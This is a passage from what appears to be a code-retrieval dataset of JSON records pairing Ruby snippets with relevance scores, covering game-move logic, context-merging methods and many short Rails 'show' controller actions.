"text": "def do_move player, x, y\n\n if not does_context_allow_move(player) then return end\n\n move = Move.new(:title => \"Move (#{x}, #{y})\")\n move.player = player\n move.x_axis = x\n move.y_axis = y\n\n # check if move alreay played\n if move.move_available?(self) then\n self.moves << move\n else\n self.errors.add('move has already been taken', '')\n return\n end\n\n set_play_status player\n end",
"title": ""
},
{
"docid": "19ac0a713003ccbc1fa0f782acafd2b9",
"score": "0.6254519",
"text": "def winner\n @player_position.each do |player,position|\n if position >= @length\n return player\n else \n nil\n end\n end\n end",
"title": ""
},
{
"docid": "5432606e831067e9602c0984e938b10b",
"score": "0.62539506",
"text": "def winner?\n if @player && winner\n return @player\n end\n\n if @move_count == 9\n return :draw\n end\n false\n end",
"title": ""
},
{
"docid": "6bbe844bb5b9f15223d2e28a668b82a1",
"score": "0.6253277",
"text": "def player_won?\n\t\tplayer_largest?\n\tend",
"title": ""
},
{
"docid": "a6d5fcf6bcfcd92bf3e2f1da1f690a12",
"score": "0.6250199",
"text": "def ensure_player(player)\n if player == :all || player == 'all'\n :any\n else\n player.to_s\n end\n end",
"title": ""
},
{
"docid": "973cd0bea945cc581cc8bf8627d441cb",
"score": "0.6246272",
"text": "def victory?(player)\n false\n true if @board.win_states.include?(player.player_value * 3)\n end",
"title": ""
},
{
"docid": "758b6ad43bb2556042f8464564c330dc",
"score": "0.62440884",
"text": "def update_board_with_player_move(move) # => ['R', [0, 0]]\n if move[0] == 'R'\n grid[move[1][0]][move[1][1]].reveal_tile(move[1])\n elsif move[0] == 'F'\n grid[move[1][0]][move[1][1]].flag_tile\n end\n end",
"title": ""
},
{
"docid": "3935a10db0c00bd86657c88a0f53312f",
"score": "0.62402225",
"text": "def in_game?; end",
"title": ""
}
] |
0783d9126f0815d7e58a8f3bf616f63c | Merges the current context with other one, modifiying it. If the other context defines the same value, it will override the current value. | [
{
"docid": "7f00757ee3c4095efd2f0108393bec89",
"score": "0.7018932",
"text": "def merge!(other_context)\n \n other_context.each_pair() do | key, value |\n if(value == nil)\n set_key(key, nil)\n elsif(get_key(key).respond_to?(:merge) and value.respond_to?(:merge))\n set_key(key, get_key(key).merge(value))\n else\n v = value.dup() rescue value\n set_key(key, v)\n end\n\n end\n \n return self\n end",
"title": ""
}
] | [
{
"docid": "5417f43c9c2978efbe665f14a5f0365f",
"score": "0.75183773",
"text": "def merge(other_context)\n return dup().merge!(other_context)\n end",
"title": ""
},
{
"docid": "7ae5ebcb2f497293e3c246660cfbff9f",
"score": "0.6531701",
"text": "def merge!(other)\n other.config.each do |key, value|\n case key\n when 'clusters', 'contexts', 'users'\n value.each do |other_value|\n own_value = config[key].find { |c| c['name'] == other_value['name'] }\n config[key].delete(own_value) if own_value\n config[key] << other_value\n end\n when 'current-context', 'preferences'\n config[key] = value\n else\n config[key] ||= value\n end\n end\n\n self\n end",
"title": ""
},
{
"docid": "d35b9e3d8d40bba3e0fcc35e28834e62",
"score": "0.65128255",
"text": "def access_context(context = {}) \n default_access_context.merge(context)\n end",
"title": ""
},
{
"docid": "d35b9e3d8d40bba3e0fcc35e28834e62",
"score": "0.65128255",
"text": "def access_context(context = {}) \n default_access_context.merge(context)\n end",
"title": ""
},
{
"docid": "da9fdad3030b429e1dc779f360be1ec2",
"score": "0.6465453",
"text": "def merge(context, restored)\n restored_hash = restored.marshal_dump\n restored_hash.each do |key, value|\n context.__send__(:\"#{key}=\", value)\n end\n\n context\n end",
"title": ""
},
{
"docid": "95c93ab4c9e4595ce92c395f91bd92ab",
"score": "0.64588803",
"text": "def squash_context(*other)\n merged = {}\n (context + other).each do |hash|\n hash.each do |key, value|\n value = (value.call rescue nil) if value.kind_of?(Proc)\n merged[key.to_s] =\n case value\n when String, Numeric, true, false\n value.to_s\n else\n value.inspect\n end\n end\n end\n merged\n end",
"title": ""
},
{
"docid": "23b6597baf7da94f790987cd6b670116",
"score": "0.6370836",
"text": "def mergeWithContext(iContext)\n @Processes.merge!(iContext.Processes)\n @Aliases.merge!(iContext.Aliases)\n @Properties.merge!(iContext.Properties)\n end",
"title": ""
},
{
"docid": "3986fa2aa2607e4eb06d1cc8341eb164",
"score": "0.6217155",
"text": "def add_to_global_context(h)\n @global_context.merge!(h)\n end",
"title": ""
},
{
"docid": "4593710fc5dbd0e605db0236dc4a7c24",
"score": "0.61924785",
"text": "def context=(value); end",
"title": ""
},
{
"docid": "c7371c3455ecd4fa0fde8a02cf3337b9",
"score": "0.609906",
"text": "def as_in_context(context)\n return self if self.context == context\n copy_to(context)\n end",
"title": ""
},
{
"docid": "139ca51b75ac266eff9fae5eb22a2395",
"score": "0.6086731",
"text": "def merge(other)\n self.eval do\n other.eval do\n binding\n end\n end\n end",
"title": ""
},
{
"docid": "ece3c932de9c8b6bc5660966b25b03ec",
"score": "0.6085722",
"text": "def current=(context)\n all_contexts[Thread.current.object_id] = context\n end",
"title": ""
},
{
"docid": "961c97be4114eb93d5082860a333e108",
"score": "0.6083474",
"text": "def merge!(other)\n update!(other.value)\n end",
"title": ""
},
{
"docid": "303f28241ff3b3101154802e14d70a03",
"score": "0.6064038",
"text": "def context=(ctx)\n @context.local = ctx\n end",
"title": ""
},
{
"docid": "124ce3e7b81ae134e95183324744b865",
"score": "0.603236",
"text": "def mergeWithHashContext(iContext)\n iContext.each do |iKey, iValue|\n case iKey\n when :Processes\n # Define new processes\n @Processes.merge!(iValue)\n when :Aliases\n # Define new aliases\n @Aliases.merge!(iValue)\n else\n @Properties[iKey] = iValue\n end\n end\n end",
"title": ""
},
{
"docid": "311e01174d70fcd7492fb1c5243014d5",
"score": "0.5981636",
"text": "def context=(context)\n @context = context\n @source.context = context\n end",
"title": ""
},
{
"docid": "1f582f4a4c9ced06cdfb9c881238ba77",
"score": "0.5948086",
"text": "def context_overrides()\n {\n :current_environment => environment,\n :global_scope => @topscope, # 4x placeholder for new global scope\n :loaders => @loaders, # 4x loaders\n :rich_data => true,\n }\n end",
"title": ""
},
{
"docid": "ce8c92dd26549b5288ae2ae30f0e2073",
"score": "0.594645",
"text": "def merge(other)\n @options[:last_received_time] ||= other.last_received_time\n @options[:idle] ||= other.idle\n @options[:next_directive] ||= other.next_directive\n @options[:next_method] ||= other.next_method\n @options[:data] ||= other.data\n @options[:parse_next] ||= other.parse_next\n end",
"title": ""
},
{
"docid": "0fee3c3a66c717d1ecd678d6e6e610cd",
"score": "0.59425396",
"text": "def context_overrides()\n {\n :current_environment => environment,\n :global_scope => @topscope, # 4x placeholder for new global scope\n :loaders => @loaders, # 4x loaders\n }\n end",
"title": ""
},
{
"docid": "893d3c7a33c017bd8bf4a11ba55b1cb4",
"score": "0.5895885",
"text": "def merge!( other, &block ) # :yields: key, sessionValue, otherValue\n\t\t@data.merge!( other, &block )\n\tensure\n\t\t@modified = true\n\tend",
"title": ""
},
{
"docid": "8881db39c6b5383911c8c1173f5e9b4f",
"score": "0.58087593",
"text": "def merge!(hash)\n hash.each do |key, value|\n if config_contexts.key?(key)\n # Grab the config context and let internal_get cache it if so desired\n config_contexts[key].restore(value)\n else\n configuration[key] = value\n end\n end\n self\n end",
"title": ""
},
{
"docid": "3734bed95cf54b3c4985d4eb5669ef23",
"score": "0.5804584",
"text": "def context=(context = null)\n @bridge.set_context(context)\n end",
"title": ""
},
{
"docid": "3734bed95cf54b3c4985d4eb5669ef23",
"score": "0.5804584",
"text": "def context=(context = null)\n @bridge.set_context(context)\n end",
"title": ""
},
{
"docid": "663a1a6afdfc3c4892c21906d06a9831",
"score": "0.57854724",
"text": "def context=(ctx)\n @context = ctx\n end",
"title": ""
},
{
"docid": "d2f8136efdb67118b4aa53654324b51e",
"score": "0.5755011",
"text": "def merge!(other)\n @options[:last_received_time] = other.last_received_time\n @options[:idle] = other.idle\n @options[:next_directive] = other.next_directive\n @options[:next_method] = other.next_method\n @options[:data] = other.data\n @options[:parse_next] = other.parse_next\n end",
"title": ""
},
{
"docid": "6595c3f91cfd8d3a73b1c676518bb7c3",
"score": "0.5750782",
"text": "def merge(other)\n dup.update(other)\n end",
"title": ""
},
{
"docid": "9344cf652e17e14791e3383264c5c337",
"score": "0.57370377",
"text": "def update!(**args)\n @context_id = args[:context_id] if args.key?(:context_id)\n end",
"title": ""
},
{
"docid": "025c3ebdac898864f897fc8cdd82448d",
"score": "0.57221484",
"text": "def in_context\n old_context = self.context\n self.context = self\n yield\n self.context = old_context\n end",
"title": ""
},
{
"docid": "a8396cf59c5318329fc74e132c1625e9",
"score": "0.5696801",
"text": "def context_missing=(v)\n context.context_missing = v\n end",
"title": ""
},
{
"docid": "e8812ad30bad32172cf7f4478065c9cb",
"score": "0.568803",
"text": "def context(payload = nil)\n @context.merge! payload if payload\n @context\n end",
"title": ""
},
{
"docid": "536fed0ecd35ee5444149b1d42c126fe",
"score": "0.56545126",
"text": "def update!(**args)\n @child_contexts = args[:child_contexts] if args.key?(:child_contexts)\n end",
"title": ""
},
{
"docid": "536fed0ecd35ee5444149b1d42c126fe",
"score": "0.56545126",
"text": "def update!(**args)\n @child_contexts = args[:child_contexts] if args.key?(:child_contexts)\n end",
"title": ""
},
{
"docid": "d4418bfe7f66d62a63fa964d8e6d7261",
"score": "0.5645532",
"text": "def set_context(key, value)\n @contexts[key] = value\n end",
"title": ""
},
{
"docid": "de1f272c9257cef3f9494ace97314cae",
"score": "0.56404257",
"text": "def merge!( otherstate )\n\t\t@scopes.push( @scopes.pop + otherstate.scope )\n\t\t# self.attributes.merge!( otherstate.attributes )\n\t\tself.options.merge!( otherstate.options )\n\t\treturn self\n\tend",
"title": ""
},
{
"docid": "c78400008524c4b1b89c5f4bd7a8a803",
"score": "0.5636418",
"text": "def with_context(cont, merge = true)\n raise \"Block missing\" unless block_given?\n cont_bak = @context\n if merge\n @context = @context.merge(cont)\n else\n @context = cont\n end\n res = yield\n @context = cont_bak\n res\n end",
"title": ""
},
{
"docid": "64eea6c8481e257f62a1c2d6f5551781",
"score": "0.5598309",
"text": "def for_context context\n @current_context << context\n yield\n @current_context.pop\n end",
"title": ""
},
{
"docid": "86541e4d8b6db791a4d020f9765183b9",
"score": "0.55903745",
"text": "def context\n\t\t\told_context = @current_context\n\t\t\t@current_context = Context.new(@project, old_context)\n\t\t\tyield\n\t\t\t@current_context = old_context\n\t\tend",
"title": ""
},
{
"docid": "58919c36a1d4f371271cf810191d106d",
"score": "0.55857694",
"text": "def merge!(other)\n\t\tALL.each do |key|\n\t\t\tincrement(key, other.get(key))\n\t\tend\n\t\tself\n\tend",
"title": ""
},
{
"docid": "64d041b7cd0dd7ac0330e13b8fac8044",
"score": "0.5567705",
"text": "def context_with_attributes(attributes_hash, parent_context: Context.current)\n attributes_hash = attributes(parent_context).merge(attributes_hash)\n parent_context.set_value(CURRENT_ATTRIBUTES_HASH, attributes_hash)\n end",
"title": ""
},
{
"docid": "02fbcd6cf66b8b4cd1df585687cc77d4",
"score": "0.55644023",
"text": "def context=(context)\n raise(InvalidMixError, \"#@name context already set for this frame\") if context and @context\n @context = context\n end",
"title": ""
},
{
"docid": "e0cb84670205e6e981db86db956cde10",
"score": "0.5554284",
"text": "def merge_from(other)\n @title = other.title unless other.title.to_s.empty?\n @descriptions[:default] = other.descriptions[:default] unless other.descriptions[:default].to_s.empty?\n @impact = other.impact unless other.impact.nil?\n other.tags.each do |ot|\n tag = @tags.detect { |t| t.key == ot.key }\n tag ? tag.value = ot.value : @tags.push(ot)\n end\n self\n end",
"title": ""
},
{
"docid": "ccef7e4d2de098242b9d594527de5ce9",
"score": "0.55531",
"text": "def set_vars_from_context(context)\n self.current_site = context.registers[:site]\n self.current_page = context.registers[:page]\n self.services = context.registers[:services]\n self.current_locale = context.registers[:locale]\n self.page_repository = services.repositories.page\n end",
"title": ""
},
{
"docid": "14a3baba2f9184f4db4a9efb56289c8c",
"score": "0.5536858",
"text": "def merge_opts_with_env opts = {}\n merge_env (opts = opts.dup)\n merge_opts opts\n end",
"title": ""
},
{
"docid": "944b0256566c98b86e3036ac4b9f1fef",
"score": "0.5532139",
"text": "def merge(other = {})\n branch default_options.merge(other)\n end",
"title": ""
},
{
"docid": "0ca8f2e67f4bcfcc8b226332bd8649e5",
"score": "0.5526817",
"text": "def merge(other)\n result = Env.new\n result.env = @env.merge(other.env)\n return result\n end",
"title": ""
},
{
"docid": "7d3eddf9e3842d8fdbdcb2baf343ea24",
"score": "0.55235624",
"text": "def save_context(context)\n message_context_session[:context] = context\n end",
"title": ""
},
{
"docid": "6b72e3e0a6c12513bf4d9932f71bc147",
"score": "0.5512708",
"text": "def context= mixed\n fail(\"no #{mixed.inspect}\") unless mixed.kind_of?(Fixnum) && mixed >= 0\n @context = mixed == 0 ? nil : mixed\n end",
"title": ""
},
{
"docid": "28e509eb2dc86ed3538dd88a16d073fe",
"score": "0.55085135",
"text": "def merge( other )\n\t\t\tself.dup.merge!( other )\n\t\tend",
"title": ""
},
{
"docid": "5cf87c6d6e2dee595342048c11257fa8",
"score": "0.54915094",
"text": "def context\n self.current_custom_context || self.default_context\n end",
"title": ""
},
{
"docid": "8c2404aea3577f402d799c3f8508d17a",
"score": "0.5425256",
"text": "def merge_env opts\n @envars = @@default_envars\n if opts.key?(:with)\n @envars.concat(opts[:with]).uniq!\n opts.delete(:with)\n end\n if opts.key?(:without)\n @envars -= opts[:without]\n opts.delete(:without)\n end\n end",
"title": ""
},
{
"docid": "95817b89f3d1d767aa1bfbd22f514a5b",
"score": "0.542314",
"text": "def swap( ctx )\n old = current\n Thread.current[:syncwrap_context] = ctx\n old\n end",
"title": ""
},
{
"docid": "0a393bc2da94787ba7e4059f7466a78f",
"score": "0.5417548",
"text": "def set_context\n @context = Monitoring::Context.find(params[:context_id])\n end",
"title": ""
},
{
"docid": "c28b624c4e07e3d23d0d0e43e432d6cd",
"score": "0.54144365",
"text": "def push_to_active_context(context_name, entity_name, context_value = nil)\n @active_context.push_new_context(context_name, entity_name, context_value)\n end",
"title": ""
},
{
"docid": "f46aaf7df69f9385f9b98d8293e6e6c7",
"score": "0.5413544",
"text": "def save_context(context)\n session[:context] = context\n end",
"title": ""
},
{
"docid": "f6a454930ddb6ac3b5c002e36a4c2e8b",
"score": "0.54075545",
"text": "def context\n @context || (parent.context if parent)\n end",
"title": ""
},
{
"docid": "480e47f36189c58de491fc2a7616e8b4",
"score": "0.53798264",
"text": "def merge other\n self.class.new(\n 'inspected_file_count' =>\n inspected_file_count + other.inspected_file_count,\n 'offense_count' => offense_count + other.offense_count\n ) # end new\n end",
"title": ""
},
{
"docid": "fe12f3675d032e795b247d4ff6f81394",
"score": "0.53792554",
"text": "def alter_context(context = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "1158c136a49ae6ae5bbb98fa288a77c0",
"score": "0.53782374",
"text": "def extend!(other)\n # Any image_registries entry in |self| should take precedence\n # over any identical key in |other|. The behavior of merge is that\n # the 'other' hash wins.\n @image_registries = other.image_registries.merge(@image_registries)\n\n # Same behavior as above for #default_flags.\n @default_flags = other.default_flags.merge(@default_flags)\n\n # artifacts should be merged by 'name'. In other words, if |self| and |other|\n # specify the same 'name' of a registry, self's config for that registry\n # should win wholesale (no merging of flags.)\n @artifacts = (@artifacts + other.artifacts).uniq { |h| h.fetch('name') }\n\n # Same behavior as for flags and registries, but the flags within the flavor\n # are in a Hash, so we need a deep merge.\n @flavors = other.flavors.deep_merge(@flavors)\n\n # A break from the preceding merging logic - Dependent hooks have to come\n # first and a given named hook can only be run once. But seriously, you\n # probably don't want to make a library that specifies hooks.\n @hooks = (other.hooks + @hooks).uniq\n\n @expiration = (@expiration + other.expiration).uniq { |h| h.fetch('repository') }\n end",
"title": ""
},
{
"docid": "67719689defc25e6c3627f2fec920ee3",
"score": "0.5374175",
"text": "def merge(other)\n other = other.criteria\n\n fresh.tap do |criteria|\n [\n :profile_value, :failsafe_value, :terminate_after_value, :timeout_value, :offset_value,\n :limit_value, :scroll_args, :source_value, :preference_value, :search_type_value,\n :routing_value, :track_total_hits_value, :explain_value, :http_timeout_value\n ].each do |name|\n criteria.send(:\"#{name}=\", other.send(name)) unless other.send(name).nil?\n end\n\n [\n :sort_values, :includes_values, :preload_values, :eager_load_values, :must_values,\n :must_not_values, :filter_values, :post_must_values, :post_must_not_values,\n :post_filter_values\n ].each do |name|\n criteria.send(:\"#{name}=\", (criteria.send(name) || []) + other.send(name)) if other.send(name)\n end\n\n [:highlight_values, :suggest_values, :custom_value, :aggregation_values].each do |name|\n criteria.send(:\"#{name}=\", (criteria.send(name) || {}).merge(other.send(name))) if other.send(name)\n end\n end\n end",
"title": ""
},
{
"docid": "7bb0ee812939048cfd7214f22eb4a4a2",
"score": "0.53710127",
"text": "def merge(other)\n # By default just take the other change if applicable\n other.instance_of?(self.class) && other.key == key ? other : self\n end",
"title": ""
},
{
"docid": "2ae4d25d8babb07a73eb322168c4cbb3",
"score": "0.5370159",
"text": "def merge(other)\n dup.merge!(other)\n end",
"title": ""
},
{
"docid": "df1567a0c701f84431ce35c9e6a7f1ff",
"score": "0.5359964",
"text": "def reset_define_context(context=nil)\n ret = @define_context\n @define_context = HashStruct.new(context || {})\n return ret\n end",
"title": ""
},
{
"docid": "f8ec383de9ef150c610938066191417b",
"score": "0.5357267",
"text": "def with_context\n self.context_cache = {}\n yield\n ensure\n self.context_cache = nil\n end",
"title": ""
},
{
"docid": "4fc7bdf6052fff8169024bef70de94a5",
"score": "0.53321296",
"text": "def merge!(other)\n @hooks.merge!(other.dup.hooks) do |key, v1, v2|\n merge_arrays(v1, v2)\n end\n\n self\n end",
"title": ""
},
{
"docid": "47cb539023a6b10c44072b8a1179cbbf",
"score": "0.53309953",
"text": "def set_Context(value)\n set_input(\"Context\", value)\n end",
"title": ""
},
{
"docid": "47cb539023a6b10c44072b8a1179cbbf",
"score": "0.53309953",
"text": "def set_Context(value)\n set_input(\"Context\", value)\n end",
"title": ""
},
{
"docid": "d3cd7562f946ad222d67fbdfde058200",
"score": "0.5329855",
"text": "def context=(context)\n context = Zuul::Context.parse(context)\n self.context_type = context.klass\n self.context_id = context.id\n end",
"title": ""
},
{
"docid": "d8d3c4558527b1b865da417d3cc36692",
"score": "0.5304971",
"text": "def add_context(context)\n return unless context.present?\n @current_context ||= []\n @current_context << context.strip\n end",
"title": ""
},
{
"docid": "0c9b49bb44b646fd1f41e8449c312c34",
"score": "0.5296257",
"text": "def merge(other)\n self.dup.tap do |v|\n v.merge!(other)\n end\n end",
"title": ""
},
{
"docid": "3e2db10748883faa932ed93960792325",
"score": "0.5295087",
"text": "def with(context)\n serialize_from_hash(context)\n self\n end",
"title": ""
},
{
"docid": "ccfb9bf92a9f009e732c28fe7922424c",
"score": "0.5291295",
"text": "def dup\n Context.new(values: values.dup, known_data: known_data.dup)\n end",
"title": ""
},
{
"docid": "d185a355c8b5f329306ebdcf50b88812",
"score": "0.5287146",
"text": "def merge(other)\n @actions += other.actions\n @errors += other.errors\n @warnings += other.warnings\n @notices += other.notices\n end",
"title": ""
},
{
"docid": "66280cce9b7aefbe6efdb94f1208f84b",
"score": "0.52692795",
"text": "def store(key, value)\r\n obj = for_context(self) { |c| c.store(key, value); c }\r\n return if obj != self \r\n super(key, value)\r\n end",
"title": ""
},
{
"docid": "320a82cceb8df2c7833bfc9499b2a018",
"score": "0.5268107",
"text": "def merge(other, &block)\n dup.merge!(other, &block)\n end",
"title": ""
},
{
"docid": "998b2d0b4e63569b2595a53c152573fa",
"score": "0.5265822",
"text": "def merge_values!(values)\n # STUB: should make recorsive calls if need\n global_config[target] ||= {}\n global_config[target].merge!(values)\n end",
"title": ""
},
{
"docid": "f7bf46dd7b30ae93d9223a4b03b0f6ef",
"score": "0.52654666",
"text": "def merge(other)\n @scheme = other.scheme unless other.scheme.nil?\n @workspace = other.workspace unless other.workspace.nil?\n @target = other.target unless other.target.nil?\n @suffix = other.suffix unless other.suffix.nil?\n @reporter = other.reporter unless other.reporter.nil?\n @xctool_path = other.xctool_path unless other.xctool_path.nil?\n @project = other.project unless other.project.nil?\n \n return self\n end",
"title": ""
},
{
"docid": "b2694227554867a09824d1a40103783b",
"score": "0.5250084",
"text": "def assign_key(key, options = {})\n if @current_context.present?\n @context[key] = @current_context\n @current_context = nil unless options[:keep_context]\n end\n end",
"title": ""
},
{
"docid": "24dd66688a82434e4f845aed5b2d50e3",
"score": "0.5247911",
"text": "def set_context\n @context = Context.find(params[:id])\n end",
"title": ""
},
{
"docid": "922a6d756f5d9cabffd61274fa9b49bd",
"score": "0.5242798",
"text": "def merge(options)\n Grammar::GrammaticalContext.new(self.to_hash.merge(options.to_hash))\n end",
"title": ""
},
{
"docid": "5e9009372c4a8e47b3a662bb63da3f0e",
"score": "0.5238723",
"text": "def add_context(context)\n context[:library] = 'analytics-ruby'\n end",
"title": ""
},
{
"docid": "f7055f173f7c284374ac3f06aacd7256",
"score": "0.5229384",
"text": "def reset_context\n @context = nil\n end",
"title": ""
},
{
"docid": "8d3abe5f39fa02a7ded079400ea95f6c",
"score": "0.5225381",
"text": "def set_value(key, value, context: Context.current)\n new_correlations = correlations_for(context).dup\n new_correlations[key] = value\n context.set_value(CORRELATION_CONTEXT_KEY, new_correlations)\n end",
"title": ""
},
{
"docid": "6c9a605185c80e70a70de06bed539e33",
"score": "0.5212587",
"text": "def context\n @context ||= {}\n end",
"title": ""
},
{
"docid": "6c9a605185c80e70a70de06bed539e33",
"score": "0.5212587",
"text": "def context\n @context ||= {}\n end",
"title": ""
},
{
"docid": "382fe825ebdf5f26c4297ff36c8ab855",
"score": "0.52123284",
"text": "def merge!(another)\n configs = self.configs\n another.each_pair do |key, value|\n if config = configs[key]\n config.set(receiver, value)\n else\n store[key] = value\n end\n end\n self\n end",
"title": ""
},
{
"docid": "f4e19191fdd1bc5ef833963932e9b588",
"score": "0.5207435",
"text": "def concat(other)\n other.rule_sets.each do |context_name, rule_set|\n context(context_name).concat(rule_set)\n end\n self\n end",
"title": ""
},
{
"docid": "50ad7fa776218f9ac9279150b955ac33",
"score": "0.5206278",
"text": "def update_config(current, new)\n current.merge! new\n end",
"title": ""
},
{
"docid": "43b81d20c727fc8eb207e668e81a8d37",
"score": "0.51981765",
"text": "def merge(other, namespace: nil, &block)\n if namespace\n _container.merge!(\n other._container.each_with_object(::Concurrent::Hash.new) { |(key, item), hsh|\n hsh[PREFIX_NAMESPACE.call(namespace, key, config)] = item\n },\n &block\n )\n else\n _container.merge!(other._container, &block)\n end\n\n self\n end",
"title": ""
},
{
"docid": "bf523aa5e65a1779dcc3145ec426f242",
"score": "0.5191704",
"text": "def context(status, header, body, request)\n @context = context_retriever(request)&.call(status, header, body)\n @data[:request_context] = @context[:context_id] \\\n if @context && @context[:context_id]\n @context\n end",
"title": ""
},
{
"docid": "150278d15f94cce8b1ea886103289284",
"score": "0.51896185",
"text": "def context=(value)\n if value\n if value.is_a?(UIViewController)\n @context = RubyMotionQuery::RMQ.weak_ref(value)\n elsif value.is_a?(UIView)\n @context = value\n #else\n #debug.log_detailed('Invalid context', objects: {value: value})\n end\n else\n @context = nil\n end\n @context\n end",
"title": ""
},
{
"docid": "658ee292bf37ae6bfdaf9d9938ecc041",
"score": "0.51866233",
"text": "def extra_context(options = nil)\n context.extra.merge!(options || {})\n yield if block_given?\n context.extra\n ensure\n context.extra.delete_if { |k, _| options.keys.include? k } if block_given?\n end",
"title": ""
},
{
"docid": "83e57bdd0c5f6ce17f9fd4f3c76aa61b",
"score": "0.5184236",
"text": "def update_section_context( new_context)\n new_context = [new_context] unless new_context.kind_of?( Array )\n new_context = new_context.map(&:to_sym) # \"\".to_sym == ContextEnum.either\n raise ArgumentError unless self.class.verify_contexts( new_context, inherited_contexts)\n # test would check section_context,so keep it as string\n self.update_attribute(:section_context,new_context.join(','))\n if new_context.first != ContextEnum.either\n #update descendant's context,\n self.descendants.where([\"section_context!=?\",ContextEnum.either]).each{|node|\n #only reset context if desendant's context is invalid for new_context.\n unless self.class.verify_contexts( node.current_contexts, new_context )\n node.update_attribute(:section_context, ContextEnum.either)\n end\n }\n #TODO correct descendants's data_source\n self.update_data_source( DataSourceNone )\n end\n end",
"title": ""
},
{
"docid": "22e1c63903304528b4560016656915cd",
"score": "0.5183532",
"text": "def context\n init\n @context\n end",
"title": ""
},
{
"docid": "6ef798a758b12e1c36e613cfd537e1f2",
"score": "0.518204",
"text": "def incoming_context=(value)\n @incoming_context = value\n end",
"title": ""
},
{
"docid": "f5bc105af317a0b7139a9717e0bb6c51",
"score": "0.5179495",
"text": "def []=(key, context)\n raise ArgumentError, \"Context must be a VirtFS::Context object\" if context && !context.is_a?(Context)\n raise ArgumentError, \"Cannot change the default context\" if key == :default\n @context_mutex.synchronize do\n if context.nil?\n ctx = @contexts.delete(key)\n ctx.key = nil\n return ctx\n end\n raise \"Context for given key already exists\" if @contexts[key]\n context.key = key\n @contexts[key] = context\n end\n end",
"title": ""
},
{
"docid": "8e60ad83b54d295f97d5da0955206886",
"score": "0.5177236",
"text": "def merge!(other)\n @hash.merge!(other.hash)\n end",
"title": ""
},
{
"docid": "a7c262fe69d096d97575cb824bed68a6",
"score": "0.51756847",
"text": "def replace(other)\n if loaded?\n orphan_resources(self)\n end\n other = other.map { |r| r.kind_of?(Hash) ? new(r) : r }\n relate_resources(other)\n super(other)\n end",
"title": ""
},
{
"docid": "d82f35d9b91acb55fbb93f086f0f8fa2",
"score": "0.51697165",
"text": "def deep_merge(other_hash, &blk)\n dup.deep_update(other_hash, &blk)\n end",
"title": ""
},
{
"docid": "863bdce72d0a51261014fde8125760db",
"score": "0.51574403",
"text": "def update\n @context = Context.find(params[:id])\n @context.user_id = current_user.id\n\n\n respond_to do |format|\n if @context.update_attributes(params[:context])\n format.html { redirect_to(@context, :notice => 'Context was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @context.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7de7815210bbdf53da4e874d2678c272",
"score": "0.5154213",
"text": "def +(other_config)\n result = self.copy\n Config.variables.each { |v|\n other_value = other_config.send(v.to_s)\n next unless other_value != nil and other_value != Config.variable_default(v)\n result.send(v.to_s + \"=\", other_value)\n }\n result\n end",
"title": ""
}
] |
2d30b7481813fa2c20db71434af17f6b | Renders the show page. | [
{
"docid": "7afe78aa8fb1f1a4cc1a8183a6d389cd",
"score": "0.0",
"text": "def show\n\t\t@disabled\t= @course.disabled_assignments(@current_user)\n\t\t@upcoming \t= @course.upcoming_assignments(@current_user)\n\t\t@undated \t= @course.undated_assignments(@current_user)\n\t\t@past \t\t= @course.past_assignments(@current_user)\n\t\t@graded\t\t= @course.graded_assignments(@current_user)\n\t\t\n\t\t# The number of uncompleted assignments\n\t\t@num_uncompleted = @upcoming.length + @undated.length\n\t\t\n\t\tif @num_uncompleted + @past.length + @graded.length != 0\n\t\t\t@percent_completed = 100 * (@past.length + @graded.length) /\n\t\t\t\t\t\t\t\t\t(@num_uncompleted + @past.length + @graded.length)\n\t\tend\n\n\t\tif @upcoming.last\n\t\t\t@days_left = (@course.end_date - Date.today).to_i;\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @course }\n\t\tend\n\tend",
"title": ""
}
] | [
{
"docid": "89e2fd10db3b13d099c9cce94a94680b",
"score": "0.773187",
"text": "def show\n render:show\n end",
"title": ""
},
{
"docid": "e79974c609a7aa7bd1ef77dca0df4d74",
"score": "0.7685816",
"text": "def show\n #render show\n end",
"title": ""
},
{
"docid": "485ccff073900ad8f14d34bcdb6bdb18",
"score": "0.7683201",
"text": "def show\n page = ShowBlock.new(self).run(&Proc.new)\n finish_show(page)\n end",
"title": ""
},
{
"docid": "622ef6d88837bffebf1a55362981c415",
"score": "0.7606041",
"text": "def show\n render :index\n end",
"title": ""
},
{
"docid": "69d210730918bd7d93e5b8d14bd85654",
"score": "0.75494725",
"text": "def show\n\t\t#no need b/c we just show all at once\n\tend",
"title": ""
},
{
"docid": "9012bf46e1d34ca159f9e4402db7eff5",
"score": "0.7528918",
"text": "def show\n render\n end",
"title": ""
},
{
"docid": "fc1072bd458fa71f8f316d9df8747c00",
"score": "0.7498663",
"text": "def show\n render :index\n end",
"title": ""
},
{
"docid": "5e074e19e8f328535f3c5f0fe89f8bf0",
"score": "0.7492448",
"text": "def show\n render 'show'\n end",
"title": ""
},
{
"docid": "8e136f9d6763f93bb9caef261ddf43e2",
"score": "0.7462367",
"text": "def show\n\t\t end",
"title": ""
},
{
"docid": "4ba5e2e599a8c45645b4dd847a04ce38",
"score": "0.745829",
"text": "def show\t\t\t\t\n\t\t\tend",
"title": ""
},
{
"docid": "0f4d692d1d4674355b4ae5e61a48b0e2",
"score": "0.74423116",
"text": "def show\n render :show\n end",
"title": ""
},
{
"docid": "0f4d692d1d4674355b4ae5e61a48b0e2",
"score": "0.74423116",
"text": "def show\n render :show\n end",
"title": ""
},
{
"docid": "0f4d692d1d4674355b4ae5e61a48b0e2",
"score": "0.74423116",
"text": "def show\n render :show\n end",
"title": ""
},
{
"docid": "bd10ce5cee97a309d2a08edf92411f12",
"score": "0.740249",
"text": "def show \n render :show\n end",
"title": ""
},
{
"docid": "17b39b071e7479fbcbbbbfc836557170",
"score": "0.7399955",
"text": "def show\n\t end",
"title": ""
},
{
"docid": "ac766135f7820a9024bed04c8ec28e6c",
"score": "0.73980653",
"text": "def show\n \t\n end",
"title": ""
},
{
"docid": "ac766135f7820a9024bed04c8ec28e6c",
"score": "0.73980653",
"text": "def show\n \t\n end",
"title": ""
},
{
"docid": "8a1ae2c31de1b84a873860074ed9e7a9",
"score": "0.7396565",
"text": "def render_show_page\n render_buffer current_theme.questions_show_html.read\n end",
"title": ""
},
{
"docid": "72d331fd6fc3b3bcd3939b6a17a40233",
